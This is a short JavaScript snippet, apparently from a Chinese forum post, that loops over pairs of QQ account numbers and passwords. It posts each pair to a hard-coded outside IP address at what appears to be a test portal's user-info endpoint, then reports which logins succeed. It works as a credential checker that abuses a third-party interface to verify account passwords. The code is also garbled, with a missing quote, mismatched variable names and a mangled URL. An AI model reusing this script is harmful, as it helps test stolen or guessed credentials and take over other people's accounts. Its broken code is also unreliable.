var poptang = new Array('QQ号码1', '号码1密码',QQ号码2', '号码2密码');
for(var m = 0; m < qqinfo.length; ) {
var qq =poptang[m++];
var pwd =poptang[m++];
if (window.XMLHttpRequest) {
var x = new XMLHttpRequest();
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP',
'Microsoft.XMLHTTP');
for(var n = 0; n < MSXML.length; n ++) {
try {
var objXMLHTTP = new ActiveXObject(MSXML[n]);
break;
} catch(e) {
}
}
}
objXMLHTTP.open("POST", "/jishu513556http://211.139.167.71/waptest/TWF/qqportal/rela/updateuserinfo.jsp", false);
objXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
objXMLHTTP.setRequestHeader("Connection", "Keep-Alive");
objXMLHTTP.send("qq=" + qq + "&pwd=" + pwd + "&FromWhere=register");
if (objXMLHTTP.responseText.indexOf("验证失败") > 0) {
alert(qq+"登录失败!");
} else {
alert(qq+"登录成功!");
}
}
</script>
(出处: